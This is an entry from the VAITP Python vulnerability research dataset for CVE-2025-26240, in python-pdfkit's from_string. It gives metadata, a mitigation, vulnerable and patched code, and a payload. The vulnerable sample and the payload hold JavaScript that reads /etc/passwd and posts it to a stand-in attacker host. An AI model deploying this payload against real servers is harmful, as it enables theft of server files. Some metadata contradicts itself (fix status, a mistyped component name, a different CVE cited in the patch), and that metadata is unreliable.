VAITP Dataset

← Back to the dataset

CVE-2025-26240

python-pdfkit allows code execution and file exfiltration via from_string.

  • CVSS 8.4
  • CWE-120
  • Input Validation and Sanitization
  • Remote

In JazzCore python-pdfkit 1.0.0, the from_string method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files.

CVE
CVE-2025-26240
CWE
CWE-120
CVSS base score
8.4
Published
2026-06-17
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
python-pdfki
Fixed by upgrading
Yes

Solution

There is no patched version of `python-pdfkit`. Mitigate by passing `options={'–disable-javascript': None, '–disable-local-file-access': None}` to `pdfkit` calls.

Vulnerable code sample

import pdfkit

# This example simulates a scenario where `untrusted_input` is received
# from a user, for instance, through a web application form.
untrusted_input = """
<html>
  <head>
    <title>Malicious PDF</title>
  </head>
  <body>
    <h1>User Content</h1>
    <script>
      // This script will be executed by wkhtmltopdf on the server.
      try {
        // Create an XMLHttpRequest to read a local file.
        var req = new XMLHttpRequest();
        // The 'file://' protocol allows access to the local filesystem.
        req.open('GET', 'file:///etc/passwd', false); // 'false' for a synchronous request
        req.send(null);

        // Create a second request to exfiltrate the stolen data.
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'http://attacker-controlled-server.com/exfiltrated_data', true);
        exfil.setRequestHeader('Content-Type', 'text/plain');
        
        // Send the contents of the local file to the attacker's server.
        exfil.send(req.responseText);
      } catch (e) {
        // Silently fail or send an error log to the attacker.
      }
    </script>
  </body>
</html>
"""

# Configuration options for pdfkit.
# The 'enable-local-file-access' option is often used to allow local assets
# like CSS or images, but it can be exploited as shown. JavaScript is
# enabled by default in wkhtmltopdf.
options = {
    'enable-local-file-access': None,
}


# The vulnerable function call.
# The server processes the user-provided HTML string, which includes
# malicious JavaScript. This leads to the execution of the script on the
# server, allowing it to read local files and send them to an external URL.
pdfkit.from_string(untrusted_input, 'vulnerable-output.pdf', options=options)

Patched code sample

import pdfkit

def create_pdf_safely_from_string(html_string, user_provided_options):
    """
    Generates a PDF from an HTML string while mitigating CVE-2022-25765-like
    vulnerabilities by sanitizing options passed to wkhtmltopdf.

    The fix involves two main strategies:
    1.  An allowlist for wkhtmltopdf options to prevent injection of dangerous
        flags like '--enable-local-file-access' or '--run-script'.
    2.  Explicitly disabling JavaScript to prevent its execution on the server,
        which could otherwise lead to file exfiltration.
    """
    # 1. Define a strict allowlist of safe, non-malicious options.
    ALLOWED_OPTIONS = {
        'page-size', 'margin-top', 'margin-right', 'margin-bottom',
        'margin-left', 'orientation', 'title', 'zoom', 'no-outline',
        'encoding', 'enable-forms', 'images', 'no-images',
        'disable-smart-shrinking', 'user-style-sheet',
    }

    sanitized_options = {
        key: value for key, value in user_provided_options.items()
        if key in ALLOWED_OPTIONS
    }

    # 2. Explicitly disable JavaScript execution. This is a critical security
    #    control and overrides any user-supplied attempt to enable it.
    sanitized_options['disable-javascript'] = ''

    # Generate the PDF using only the sanitized options.
    try:
        pdf_content = pdfkit.from_string(
            html_string,
            False,
            options=sanitized_options
        )
        return pdf_content
    except Exception as e:
        print(f"Error during safe PDF generation: {e}")
        return None

Payload

<html>
  <body>
    <script>
      var xhr = new XMLHttpRequest();
      xhr.open('GET', 'file:///etc/passwd', true);
      xhr.onload = function() {
        if (xhr.status === 200) {
          fetch('http://<attacker-ip>/exfil', {
            method: 'POST',
            body: btoa(xhr.responseText)
          });
        }
      };
      xhr.send();
    </script>
  </body>
</html>

Cite this entry

@misc{vaitp:cve202526240,
  title        = {{python-pdfkit allows code execution and file exfiltration via from_string.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-26240},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-26240/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::